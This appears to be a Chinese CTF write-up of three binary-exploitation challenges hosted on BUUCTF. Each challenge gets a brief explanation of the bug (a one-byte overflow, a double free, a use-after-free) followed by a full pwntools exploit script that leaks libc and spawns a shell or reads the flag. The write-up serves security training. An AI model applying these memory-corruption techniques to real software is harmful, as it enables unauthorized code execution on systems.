1.game
2.Double
3.ezheap
1.game
考点:一字节漏洞
开了canary和地址随机,拖入ida分析,一个小菜单,在初始化时选择给v6赋值,用它来确定是送原石还是kfc联名套餐,在循环中看出只能选择一个 1为送原石的条件,当v7>0x3ffff可泄露system地址
myread函数中存在一字节漏洞,输入8个非\n数据,可把v6修改为0,所以先把v6赋值为1,通过一字节洞把v6赋为0,可进入送原石,然后v8,v9都为1了,此时可进入这个地方,libc库查出puts和system的偏移量,然后通过偏移量把puts改为system,(v5输入/bin/sh\x00)
EXP:
#coding=utf-8
from pwn import *
'''from LibcSearcher import *
from pwnlib import *'''
sh=remote("node4.buuoj.cn",25445)
#sh=process("./game")
elf=ELF("./game")
libc=ELF("libc-2.31.so")
context.arch="amd64"
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
un("请选择你的伙伴\n")
sl("1")
un("2.扣2送kfc联名套餐\n")
sl("2")
un("你有什么想对肯德基爷爷说的吗?\n")
sd("/bin/sh\x00")
k=0
while k<4:
un("2.扣2送kfc联名套餐\n")
sl("1")
k=k+1
un("这是给你的奖励 ")
system=int(sh.recv(14),16)
jz=system-libc.sym['system']
puts=jz+libc.sym['puts']
print hex(jz)
print hex(puts)
print hex(system)
print hex(libc.sym['puts'])
print hex(libc.sym['system'])
print hex(libc.sym['puts']-libc.sym['system'])
def fun():
un("2.扣2送kfc联名套餐\n")
sl("3")
sl("8592")
fun()
inter()
2.Double
是一道简单的堆题,考察的点就是double free
保护机制开的较多,但还好没开地址随机
在初始化时把0x602068地址赋值为0x31 分析add
idx可输入负数,但got不可修改没用
在del中有uaf,可double free
在check中当0x602070中的值为0x666就可以给shell
因为在0x602068初始化了0x602068为0x31,且有uaf,且在add中申请的空间为0x20(0x20-0x28都只开0x20空间,除头部分)可在这个地址double free
然后修改0x602070为0x666即可getshell
EXP:
from pwn import *
from LibcSearcher import *
from pwnlib import *
sh=remote("node4.buuoj.cn",29660)
#sh=process("./Double")
elf=ELF("./Double")
libc=ELF("libc.so.6")
context.arch="amd64"
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
def add(idx,data):
un(">\n")
sl("1")
un("idx\n")
sl(str(idx))
un("content\n")
sd(data)
def free(idx):
un(">\n")
sl("2")
un("idx\n")
sl(str(idx))
k=0x602060
add(0,"1")
add(1,"1")
free(0)
free(1)
free(0)
add(2,p64(k))
add(2,p64(k))
add(2,p64(k))
add(2,p64(0x666))
un(">\n")
sl("3")
sl("cat flag")
inter()
3.ezheap
有uaf,这样可以把两个指针指向同一个chunk
每次开辟一个0x28的空间来存放自己申请chunk的地址和size,可申请一个大的空间,mmap映射的地址,它的地址和libc离得近,可通过它来泄露libc
然后通过uaf来实现把free_hook的值改为system,最后free时即可getshell
EXP:
#coding=utf-8
from pwn import *
from LibcSearcher import *
from pwnlib import *
sh=remote("node4.buuoj.cn",29652)
#sh=process("./ezheap")
elf=ELF("./ezheap")
libc=ELF("libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda:sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
def add(idx,size,data):
un(">>\n")
sl("1")
un("idx(0~15): \n")
sl(str(idx))
un("size: \n")
sl(str(size))
un("note: \n")
sl(data)
def free(idx):
un(">>\n")
sl("2")
un("idx(0~15): \n")
sl(str(idx))
def show(idx):
un(">>\n")
sl("3")
un("idx(0~15): \n")
sl(str(idx))
def edit(idx,data):
un(">>\n")
sl("4")
un("idx(0~15): \n")
sl(str(idx))
un("content: \n")
sd(data)
add(0,0x100,"a")
add(1,0x50000,"a")
add(2,0x100,"a")
add(3,0x100,"a")
free(1)
free(2)
add(4,0x20,"a"*24)
show(4)
un("a"*24)
jz=u64(sh.recv(6)+"\x00"*2)-0x10+0x51000
print hex(jz)
system=jz+libc.sym['system']
free_hook=jz+libc.sym['__free_hook']
edit(4,p64(0x50000)+p64(0)*2+p64(free_hook))
edit(1,p64(system))
edit(4,"/bin/sh\x00")
free(1)
inter()